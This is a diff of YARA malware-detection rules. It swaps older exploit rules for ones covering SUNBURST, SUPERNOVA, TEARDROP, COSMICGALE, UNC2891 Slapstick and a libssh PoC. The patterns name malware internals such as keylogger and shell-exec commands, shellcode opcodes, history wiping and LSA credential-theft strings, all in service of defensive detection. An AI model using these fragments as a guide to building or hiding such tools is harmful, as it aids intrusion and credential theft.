+		hash1 = "f0d2f1095da0164c03a0e801bd50f2f06793fb77938e53b14b57fd690d036929"
+		hash2 = "5466d47363e11cd1852807b57d26a828728b9d5a0389214181b966bd0d8d7e56"
 
 	strings:
-		$x1 = "send_keylog_stream_start" fullword wide
-		$x2 = "KEYLOG_STREAM_STOP" fullword wide
-		$s1 = "SHELL_EXEC" fullword wide
-		$s2 = "send_shell_exec" fullword wide
-		$s3 = "send_connections_get" fullword wide
-		$a1 = "Select * from Win32_PerfRawData_PerfProc_Process where IDProcess = '" fullword wide
-		$a2 = "Select * from Win32_Process WHERE handle =" fullword wide
-		$a3 = "Select * from Win32_Process where ProcessId=" fullword wide
-		$a4 = "Select * from Win32_ComputerSystem" fullword wide
-		$a5 = "The service is in the process of being continued" fullword wide
-		$a6 = "tcpdump" fullword wide
-		$a7 = "memdump" fullword wide
-		$a8 = "<val1>Processor</val1>" fullword wide
-		$a9 = "Win32 share process" fullword wide
+		$x1 = "ysoserialq" fullword ascii
+		$s1 = "targetClassInterceptorMetadatat" fullword ascii
+		$s2 = "targetInstancet" fullword ascii
+		$s3 = "targetClassL" fullword ascii
+		$s4 = "POST_ACTIVATEsr" fullword ascii
+		$s5 = "PRE_DESTROYsq" fullword ascii
 
 	condition:
-		uint16(0)==0x5a4d and filesize <1000KB and (1 of ($x*) or (2 of ($s*) and 2 of ($a*)) or 7 of them )
+		( uint16(0)==0xedac and filesize <10KB and $x1) or ( all of them )
 }
-rule SIGNATURE_BASE_Exploit_MS15_077_078 : FILE
+rule SIGNATURE_BASE_MAL_UNC2891_Slapstick : FILE
 {
 	meta:
-		description = "MS15-078 / MS15-077 exploit - generic signature"
-		author = "Florian Roth (Nextron Systems)"
-		id = "57f6db11-9d93-53fd-ab68-c6c3eadae2da"
-		date = "2015-07-21"
-		modified = "2023-12-05"
-		reference = "https://code.google.com/p/google-security-research/issues/detail?id=473&can=1&start=200"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2015_2426.yar#L10-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "354219a1ed88c891c64513a057266199919406309460d92792a4be509f9580a1"
+		description = "Detects UNC2891 Slapstick pam backdoor"
+		author = "Frank Boldewin (@r3c0nst), slightly modifier by Florian Roth"
+		id = "eb5db507-ac12-5c11-9dd9-ec34b9a80e1c"
+		date = "2022-03-30"
+		modified = "2023-01-05"
+		reference = "https://github.com/fboldewin/YARA-rules/tree/master"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_unc2891_mal_jan23.yar#L19-L39"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4bc51a47a1b620c3bb950c287c38a37e528e79f9720fb4d9fa9ebecbeca82036"
 		score = 75
 		quality = 85
 		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		hash1 = "18e3e840a5e5b75747d6b961fca66a670e3faef252aaa416a88488967b47ac1c"
-		hash2 = "0b5dc030e73074b18b1959d1cf7177ff510dbc2a0ec2b8bb927936f59eb3d14d"
-		hash3 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
-		hash4 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
+		hash1 = "9d0165e0484c31bd4ea467650b2ae2f359f67ae1016af49326bb374cead5f789"
 
 	strings:
-		$s1 = "GDI32.DLL" fullword ascii
-		$s2 = "atmfd.dll" fullword wide
-		$s3 = "AddFontMemResourceEx" fullword ascii
-		$s4 = "NamedEscape" fullword ascii
-		$s5 = "CreateBitmap" fullword ascii
-		$s6 = "DeleteObject" fullword ascii
-		$op0 = { 83 45 e8 01 eb 07 c7 45 e8 }
-		$op1 = { 8d 85 24 42 fb ff 89 04 24 e8 80 22 00 00 c7 45 }
-		$op2 = { eb 54 8b 15 6c 00 4c 00 8d 85 24 42 fb ff 89 44 }
-		$op3 = { 64 00 88 ff 84 03 70 03 }
+		$code1 = {F6 50 04 48 FF C0 48 39 D0 75 F5}
+		$code2 = {88 01 48 FF C1 8A 11 89 C8 29 F8 84 D2 0F 85}
+		$str1 = "/proc/self/exe" fullword ascii
+		$str2 = "%-23s %-23s %-23s %-23s %-23s %s" fullword ascii
+		$str3 = "pam_sm_authenticate" ascii
+		$str_fr1 = "HISTFILE=/dev/null"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2000KB and 5 of ($s*) or 3 of ($op*)
+		uint32(0)==0x464c457f and filesize <100KB and ( all of ($code*) or all of ($str*))
 }
-rule SIGNATURE_BASE_Exploit_MS15_077_078_Hackingteam : FILE
+rule SIGNATURE_BASE_HKTL_EXPL_POC_Libssh_Auth_Bypass_CVE_2023_2283_Jun23_1 : CVE_2023_2283 FILE
 {
 	meta:
-		description = "MS15-078 / MS15-077 exploit - Hacking Team code"
-		author = "Florian Roth (Nextron Systems)"
-		id = "3bf40dec-c46e-5054-a98e-602049cb1824"
-		date = "2015-07-21"
+		description = "Detects POC code used in attacks against libssh vulnerability CVE-2023-2283"
+		author = "Florian Roth"
+		id = "e72eba33-686f-5fca-bca3-2b875d1ec224"
+		date = "2023-06-08"
 		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2015_2426.yar#L38-L57"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "c94582629e555c9fd0b29302720078a7eb47d3013d0c1b5edd4e060c2062fa92"
-		score = 75
+		reference = "https://github.com/github/securitylab/tree/1786eaae7f90d87ce633c46bbaa0691d2f9bf449/SecurityExploits/libssh/pubkey-auth-bypass-CVE-2023-2283"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/expl_libssh_cve_2023_2283_jun23.yar#L2-L15"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "4c3d54d7f4902c1da664e41096b5931e6534aaaf63243f12e05b81af63d8b28f"
+		score = 85
 		quality = 85
-		tags = "FILE"
-		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
-		super_rule = 1
-		hash1 = "ad6bb982a1ecfe080baf0a2b27950f989c107949b1cf02b6e0907f1a568ece15"
-		hash2 = "fc609adef44b5c64de029b2b2cff22a6f36b6bdf9463c1bd320a522ed39de5d9"
+		tags = "CVE-2023-2283, FILE"
 
 	strings:
-		$s1 = "\\SystemRoot\\system32\\CI.dll" ascii
-		$s2 = "\\sysnative\\CI.dll" ascii
-		$s3 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36" fullword ascii
-		$s4 = "CRTDLL.DLL" fullword ascii
-		$s5 = "\\sysnative" ascii
-		$s6 = "InternetOpenA coolio, trying open %s" fullword ascii
+		$s1 = "nprocs = %d" ascii fullword
+		$s2 = "fork failed: %s" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and filesize <2500KB and 5 of them
+		uint16(0)==0x457f and all of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Brc4_Shellcode
+rule SIGNATURE_BASE_APT_Backdoor_SUNBURST_1
 {
 	meta:
-		description = "Hunts for shellcode opcode used in Badger x86/x64 till release v1.2.9"
-		author = "@ninjaparanoid"
-		id = "7e899d2f-332b-53f7-b9e6-cfde2bce6223"
-		date = "2022-11-19"
+		description = "This rule is looking for portions of the SUNBURST backdoor that are vital to how it functions. The first signature fnv_xor matches a magic byte xor that the sample performs on process, service, and driver names/paths. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
+		author = "FireEye"
+		id = "74b44844-5575-53d7-819b-ab1b2327a144"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/paranoidninja/Brute-Ratel-C4-Community-Kit/blob/main/deprecated/brc4.yara"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/hktl_bruteratel_c4.yar#L263-L290"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "a2816eb0316cebc96569847c17eae3bc50b988b07aa471176a09695fcefc21ec"
-		score = 75
-		quality = 83
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L6-L27"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "1fc006dead2fd540717e00e468bf30f37bdb1d061a805e33683e4a77db7f9156"
+		score = 85
+		quality = 77
 		tags = ""
-		version = "last version"
-		arch_context = "x64"
 
 	strings:
-		$shellcode_x64_Start = { 55 50 53 51 52 56 57 41 50 41 51 41 52 41 53 41 54 41 55 41 56 41 57 }
-		$shellcode_x64_End = { 5B 5E 5F 41 5C 41 5D 41 5E 41 5F 5D C3 }
-		$shellcode_x64_StageEnd = { 5C 41 5F 41 5E 41 5D 41 5C 41 5B 41 5A 41 59 41 58 5F 5E 5A 59 5B 58 5D C3 }
-		$funcHash1 = { 5B BC 4A 6A }
-		$funcHash2 = { 5D 68 FA 3C }
-		$funcHash3 = { AA FC 0D 7C }
-		$funcHash4 = { 8E 4E 0E EC }
-		$funcHash5 = { B8 12 DA 00 }
-		$funcHash6 = { 07 C4 4C E5 }
-		$funcHash7 = { BD CA 3B D3 }
-		$funcHash8 = { 89 4D 39 8C }
-		$hashFuncx64 = { EB 20 0F 1F 44 00 00 44 0F B6 C8 4C 89 DA 41 83 E9 20 4D 63 C1 4B 8D 04 10 49 39 CB 74 21 49 83 C3 01 41 89 C2 }
-		$hashFuncx86 = { EB 07 8D 74 26 00 83 C2 01 0F B6 31 C1 C8 0D 89 F1 8D 5C 30 E0 01 F0 80 F9 61 89 D1 0F 43 C3 39 D7 75 E3 }
+		$cmd_regex_encoded = "U4qpjjbQtUzUTdONrTY2q42pVapRgooABYxQuIZmtUoA" wide
+		$cmd_regex_plain = { 5C 7B 5B 30 2D 39 61 2D 66 2D 5D 7B 33 36 7D 5C 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 33 32 7D 22 7C 22 5B 30 2D 39 61 2D 66 5D 7B 31 36 7D }
+		$fake_orion_event_encoded = "U3ItS80rCaksSFWyUvIvyszPU9IBAA==" wide
+		$fake_orion_event_plain = { 22 45 76 65 6E 74 54 79 70 65 22 3A 22 4F 72 69 6F 6E 22 2C }
+		$fake_orion_eventmanager_encoded = "U3ItS80r8UvMTVWyUgKzfRPzEtNTi5R0AA==" wide
+		$fake_orion_eventmanager_plain = { 22 45 76 65 6E 74 4E 61 6D 65 22 3A 22 45 76 65 6E 74 4D 61 6E 61 67 65 72 22 2C }
+		$fake_orion_message_encoded = "U/JNLS5OTE9VslKqNqhVAgA=" wide
+		$fake_orion_message_plain = { 22 4D 65 73 73 61 67 65 22 3A 22 7B 30 7D 22 }
+		$fnv_xor = { 67 19 D8 A7 3B 90 AC 5B }
 
 	condition:
-		(pe.machine==pe.MACHINE_AMD64 and (2 of ($shellcode*) or all of ($funcHash*) and $hashFuncx64)) or (pe.machine==pe.MACHINE_I386 and ( all of ($funcHash*) and $hashFuncx86))
+		$fnv_xor and ($cmd_regex_encoded or $cmd_regex_plain) or (($fake_orion_event_encoded or $fake_orion_event_plain) and ($fake_orion_eventmanager_encoded or $fake_orion_eventmanager_plain) and ($fake_orion_message_encoded and $fake_orion_message_plain))
 }
-rule SIGNATURE_BASE_EXPL_CVE_2021_31166_Accept_Encoding_May21_1 : CVE_2021_31166
+import "pe"
+
+rule SIGNATURE_BASE_APT_Backdoor_SUNBURST_2
 {
 	meta:
-		description = "Detects malformed Accept-Encoding header field as used in code exploiting CVE-2021-31166"
-		author = "Florian Roth (Nextron Systems)"
-		id = "d0a79cdc-f3ee-58f9-805c-ec9eb7993315"
-		date = "2021-05-21"
+		description = "The SUNBURST backdoor uses a domain generation algorithm (DGA) as part of C2 communications. This rule is looking for each branch of the code that checks for which HTTP method is being used. This is in one large conjunction, and all branches are then tied together via disjunction. The grouping is intentionally designed so that if any part of the DGA is re-used in another sample, this signature should match that re-used portion. SUNBURST is a backdoor that has the ability to spawn and kill processes, write and delete files, set and create registry keys, gather system information, and disable a set of forensic analysis tools and services."
+		author = "FireEye"
+		id = "329071d5-c9c6-5ae1-a514-aea9f4037bac"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/0vercl0k/CVE-2021-31166"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/exploit_cve_2021_31166.yar#L2-L14"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "5bb5b4093a7abe9d4297a4c047803b92f7c08f56f15b0f7bd163203ae47e026d"
-		score = 70
-		quality = 35
-		tags = "CVE-2021-31166"
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L28-L79"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2bf0697b110bca88f712cbccaf0d2ba614d6093d6d9595659aefe088848d3826"
+		score = 85
+		quality = 83
+		tags = ""
 
 	strings:
-		$xr1 = /[Aa]ccept\-[Ee]ncoding: [a-z\-]{1,16},([a-z\-\s]{1,16},|)*[\s]{1,20},/
+		$a = "0y3Kzy8BAA==" wide
+		$aa = "S8vPKynWL89PS9OvNqjVrTYEYqNa3fLUpDSgTLVxrR5IzggA" wide
+		$ab = "S8vPKynWL89PS9OvNqjVrTYEYqPaauNaPZCYEQA=" wide
+		$ac = "C88sSs1JLS4GAA==" wide
+		$ad = "C/UEAA==" wide
+		$ae = "C89MSU8tKQYA" wide
+		$af = "8wvwBQA=" wide
+		$ag = "cyzIz8nJBwA=" wide
+		$ah = "c87JL03xzc/LLMkvysxLBwA=" wide
+		$ai = "88tPSS0GAA==" wide
+		$aj = "C8vPKc1NLQYA" wide
+		$ak = "88wrSS1KS0xOLQYA" wide
+		$al = "c87PLcjPS80rKQYA" wide
+		$am = "Ky7PLNAvLUjRBwA=" wide
+		$an = "06vIzQEA" wide
+		$b = "0y3NyyxLLSpOzIlPTgQA" wide
+		$c = "001OBAA=" wide
+		$d = "0y0oysxNLKqMT04EAA==" wide
+		$e = "0y3JzE0tLknMLQAA" wide
+		$f = "003PyU9KzAEA" wide
+		$h = "0y1OTS4tSk1OBAA=" wide
+		$i = "K8jO1E8uytGvNqitNqytNqrVA/IA" wide
+		$j = "c8rPSQEA" wide
+		$k = "c8rPSfEsSczJTAYA" wide
+		$l = "c60oKUp0ys9JAQA=" wide
+		$m = "c60oKUp0ys9J8SxJzMlMBgA=" wide
+		$n = "8yxJzMlMBgA=" wide
+		$o = "88lMzygBAA==" wide
+		$p = "88lMzyjxLEnMyUwGAA==" wide
+		$q = "C0pNL81JLAIA" wide
+		$r = "C07NzXTKz0kBAA==" wide
+		$s = "C07NzXTKz0nxLEnMyUwGAA==" wide
+		$t = "yy9IzStOzCsGAA==" wide
+		$u = "y8svyQcA" wide
+		$v = "SytKTU3LzysBAA==" wide
+		$w = "C84vLUpOdc5PSQ0oygcA" wide
+		$x = "C84vLUpODU4tykwLKMoHAA==" wide
+		$y = "C84vLUpO9UjMC07MKwYA" wide
+		$z = "C84vLUpO9UjMC04tykwDAA==" wide
 
 	condition:
-		1 of them
+		($a and $b and $c and $d and $e and $f and $h and $i) or ($j and $k and $l and $m and $n and $o and $p and $q and $r and $s and ($aa or $ab)) or ($t and $u and $v and $w and $x and $y and $z and ($aa or $ab)) or ($ac and $ad and $ae and $af and $ag and $ah and ($am or $an)) or ($ai and $aj and $ak and $al and ($am or $an))
 }
-rule SIGNATURE_BASE_Gen_Exploit_CVE_2017_10271_Weblogic : HIGHVOL CVE_2017_10271 FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Webshell_SUPERNOVA_1 : FILE
 {
 	meta:
-		description = "Exploit for CVE-2017-10271 (Oracle WebLogic)"
-		author = "John Lambert @JohnLaTwC"
-		id = "e30e316f-1ebb-5c38-ba25-d2a9d0083a03"
-		date = "2018-03-21"
+		description = "SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args). This rule is looking for specific strings and attributes related to SUPERNOVA."
+		author = "FireEye"
+		id = "73a27fa2-a846-5f4b-8182-064ac06c71a8"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/c0mmand3rOpSec/CVE-2017-10271, https://www.fireeye.com/blog/threat-research/2018/02/cve-2017-10271-used-to-deliver-cryptominers.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_exploit_cve_2017_10271_weblogic.yar#L1-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "01e4f7b1c9c068f3953fa58749a14ea148d2b038c7266da789e0998eae83e1a7"
-		score = 75
-		quality = 85
-		tags = "HIGHVOL, CVE-2017-10271, FILE"
-		hash1 = "376c2bc11d4c366ad4f6fecffc0bea8b195e680b4c52a48d85a8d3f9fab01c95"
-		hash2 = "7d5819a2ea62376e24f0dd3cf5466d97bbbf4f5f730eb9302307154b363967ea"
-		hash3 = "864e9d8904941fae90ddd10eb03d998f85707dc2faff80cba2e365a64e830e1d/subfile"
-		hash4 = "2a69e46094d0fef2b3ffcab73086c16a10b517f58e0c1f743ece4f246889962b"
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L80-L99"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8471e6b3675e7e9ccfe5b81ab4c599668f2de528f3b179a675f50aa1fd7814b2"
+		score = 85
+		quality = 81
+		tags = "FILE"
 
 	strings:
-		$s1 = "<soapenv:Header"
-		$s2 = "java.beans.XMLDecoder"
-		$s3 = "void" fullword
-		$s4 = "index="
-		$s5 = "/array>"
-		$s6 = "\"start\""
-		$s7 = "work:WorkContext" nocase
+		$compile1 = "CompileAssemblyFromSource"
+		$compile2 = "CreateCompiler"
+		$context = "ProcessRequest"
+		$httpmodule = "IHttpHandler" ascii
+		$string1 = "clazz"
+		$string2 = "//NetPerfMon//images//NoLogo.gif" wide
+		$string3 = "SolarWinds" ascii nocase wide
 
 	condition:
-		filesize <10KB and ( uint32(0)==0x616f733c or uint32(0)==0x54534f50) and all of ($s*)
+		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <10KB and pe.imports("mscoree.dll","_CorDllMain") and $httpmodule and $context and all of ($compile*) and all of ($string*)
 }
-rule SIGNATURE_BASE_Gen_Excel_Auto_Open_Evasion : FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Webshell_SUPERNOVA_2 : FILE
 {
 	meta:
-		description = "Detects an obfuscated Auto_Open cell names in Excel files"
-		author = "@JohnLaTwC"
-		id = "e33b8d1d-4978-5747-8b5b-730e6c57dbf0"
-		date = "2020-09-24"
+		description = "This rule is looking for specific strings related to SUPERNOVA. SUPERNOVA is a .NET web shell backdoor masquerading as a legitimate SolarWinds web service handler. SUPERNOVA inspects and responds to HTTP requests with the appropriate HTTP query strings, Cookies, and/or HTML form values (e.g. named codes, class, method, and args)."
+		author = "FireEye"
+		id = "c39bf9ba-fd62-5619-92b6-1633375ef197"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "https://malware.pizza/2020/05/12/evading-av-with-excel-macros-and-biff8-xls/"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_excel_auto_open_evasion.yar#L1-L26"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "e23f9f55e10f3f31a2e76a12b174b6741a2fa1f51cf23dbd69cf169d92c56ed5"
-		logic_hash = "d7d81683b9abd7b89d6d6ee4d14ff37359acd353a6bd1d88bc793525c8f203d9"
-		score = 70
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L100-L118"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "96e344bd2ba3ee07784852db3e9935352762c2fa7b6be88f00cac10a90706ffc"
+		score = 85
 		quality = 83
 		tags = "FILE"
-		hash1 = "bb3c9739de8ffe2e0f375847d41a010463ec19f1d3f578ac053651a51ed69bbc"
-		hash2 = "56ff65b7f6bf5936883f52b50ca66e768b2088158cc77af681ffab7122be7753"
-		hash3 = "97243214ac3cad74d60b0648e39d6a9600860edba51c670b5226e058ba658957"
-		hash4 = "9ebf085c05ae94c1b6c4e011001a6c11de3ca754a56ed380314ef501b777e593"
-		hash5 = "b5a8bbf3c7d49bd208d8302f6867b5f6d3d7c09830b575967801893498cc92d9"
 
 	strings:
-		$auto_open = { 00 00 00 00 01 [0-2] (61 | 41) [0-5](75 | 55) [0-5](74 | 54) [0-5](6f | 4f) [0-5](5f | 5f) [0-5](6f | 4f) [0-5](70 | 50) [0-5](65 | 45) [0-5](6e | 4e)}
-		$plain_auto_open = "auto_open" nocase wide ascii
+		$dynamic = "DynamicRun"
+		$solar = "Solarwinds" nocase
+		$string1 = "codes"
+		$string2 = "clazz"
+		$string3 = "method"
+		$string4 = "args"
 
 	condition:
-		filesize <1MB and uint32be(0)==0xD0CF11E0 and $auto_open and #plain_auto_open==0
+		uint16(0)==0x5a4d and uint32( uint32(0x3C))==0x00004550 and filesize <10KB and 3 of ($string*) and $dynamic and $solar
 }
-rule SIGNATURE_BASE_LOG_Proxynotshell_POC_CVE_2022_41040_Nov22 : CVE_2022_41040 CVE_2022_41082
+import "pe"
+
+rule SIGNATURE_BASE_APT_Hacktool_PS1_COSMICGALE_1
 {
 	meta:
-		description = "Detects logs generated after a successful exploitation using the PoC code against CVE-2022-41040 and CVE-2022-41082 (aka ProxyNotShell) in Microsoft Exchange servers"
-		author = "Florian Roth (Nextron Systems)"
-		id = "1e47d124-3103-5bf5-946f-b1bb69ff2c8e"
-		date = "2022-11-17"
+		description = "This rule detects various unique strings related to COSMICGALE. COSMICGALE is a credential theft and reconnaissance PowerShell script that collects credentials using the publicly available Get-PassHashes routine. COSMICGALE clears log files, writes acquired data to a hard coded path, and encrypts the file with a password."
+		author = "FireEye"
+		id = "c094943c-288e-5835-8066-8e95a992c76c"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "https://github.com/testanull/ProxyNotShell-PoC"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/vuln_proxynotshell_cve_2022_41040.yar#L2-L20"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7f91502fd9c59180970fc4253134582b44ba318db03ef4eb575257b2f3818d94"
-		score = 70
-		quality = 85
-		tags = "CVE-2022-41040, CVE-2022-41082"
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L119-L140"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c7b4d3c29d57b8db8d21e3a436c83617bc3fe14e66ccc1500b33a3774f09ee12"
+		score = 85
+		quality = 65
+		tags = ""
 
 	strings:
-		$aa1 = " POST " ascii wide
-		$aa2 = " GET " ascii wide
-		$ab1 = " 200 " ascii wide
-		$s01 = "/autodiscover.json x=a" ascii wide
-		$s02 = "/autodiscover/admin@localhost/" ascii wide
+		$sr1 = /\[byte\[\]\]@\([\x09\x20]{0,32}0xaa[\x09\x20]{0,32},[\x09\x20]{0,32}0xd3[\x09\x20]{0,32},[\x09\x20]{0,32}0xb4[\x09\x20]{0,32},[\x09\x20]{0,32}0x35[\x09\x20]{0,32},/ ascii nocase wide
+		$sr2 = /\[bitconverter\]::toint32\(\$\w{1,64}\[0x0c..0x0f\][\x09\x20]{0,32},[\x09\x20]{0,32}0\)[\x09\x20]{0,32}\+[\x09\x20]{0,32}0xcc\x3b/ ascii nocase wide
+		$sr3 = /\[byte\[\]\]\(\$\w{1,64}\.padright\(\d{1,2}\)\.substring\([\x09\x20]{0,32}0[\x09\x20]{0,32},[\x09\x20]{0,32}\d{1,2}\)\.tochararray\(\)\)/ ascii nocase wide
+		$ss1 = "[text.encoding]::ascii.getbytes(\"ntpassword\x600\");" ascii nocase wide
+		$ss2 = "system\\currentcontrolset\\control\\lsa\\$_" ascii nocase wide
+		$ss3 = "[security.cryptography.md5]::create()" ascii nocase wide
+		$ss4 = "[system.security.principal.windowsidentity]::getcurrent().name" ascii nocase wide
+		$ss5 = "out-file" ascii nocase wide
+		$ss6 = "convertto-securestring" ascii nocase wide
 
 	condition:
-		1 of ($aa*) and $ab1 and 1 of ($s*)
+		all of them
 }
-rule SIGNATURE_BASE_Crime_Ole_Loadswf_Cve_2018_4878 : PURPORTED_NORTH_KOREAN_ACTORS CVE_2018_4878 FILE
+import "pe"
+
+rule SIGNATURE_BASE_APT_Dropper_Raw64_TEARDROP_1
 {
 	meta:
-		description = "Detects CVE-2018-4878"
-		author = "Vitali Kremez, Flashpoint"
-		id = "44797bbc-693b-5fcb-a4a4-4ebf3f4da725"
-		date = "2024-01-01"
+		description = "This rule looks for portions of the TEARDROP backdoor that are vital to how it functions. TEARDROP is a memory only dropper that can read files and registry keys, XOR decode an embedded payload, and load the payload into memory. TEARDROP persists as a Windows service and has been observed dropping Cobalt Strike BEACON into memory."
+		author = "FireEye"
+		id = "88adad58-ba16-5996-9ea8-ea356c3ed5b2"
+		date = "2020-12-14"
 		modified = "2023-12-05"
-		reference = "hxxps://www[.]krcert[.]or[.kr/data/secNoticeView.do?bulletin_writing_sequence=26998"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ole_loadswf_cve_2018_4878.yar#L2-L31"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "716cad0c5a12cc360522e2649c7870a493bef4bec3d55c3a3e235f3a85c02a56"
-		score = 75
+		reference = "https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_solarwinds_sunburst.yar#L141-L156"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "6ab5197e7a1a123055b361a2ef79f8a77a7935606fccc8f163ea5914c94cd14d"
+		score = 85
 		quality = 85
-		tags = "PURPORTED NORTH KOREAN ACTORS, CVE-2018-4878, FILE"
-		vuln_type = "Remote Code Execution"
-		vuln_impact = "Use-after-free"
-		affected_versions = "Adobe Flash 28.0.0.137 and earlier versions"
-		mitigation0 = "Implement Protected View for Office documents"
-		mitigation1 = "Disable Adobe Flash"
-		weaponization = "Embedded in Microsoft Office first payloads"
-		actor = "Purported North Korean actors"
+		tags = ""
 
 	strings:
-		$header = "rdf:RDF" wide ascii
-		$title = "Adobe Flex" wide ascii
-		$pdb = "F:\\work\\flash\\obfuscation\\loadswf\\src" wide ascii
-		$s0 = "URLRequest" wide ascii
-		$s1 = "URLLoader" wide ascii
-		$s2 = "loadswf" wide ascii
-		$s3 = "myUrlReqest" wide ascii
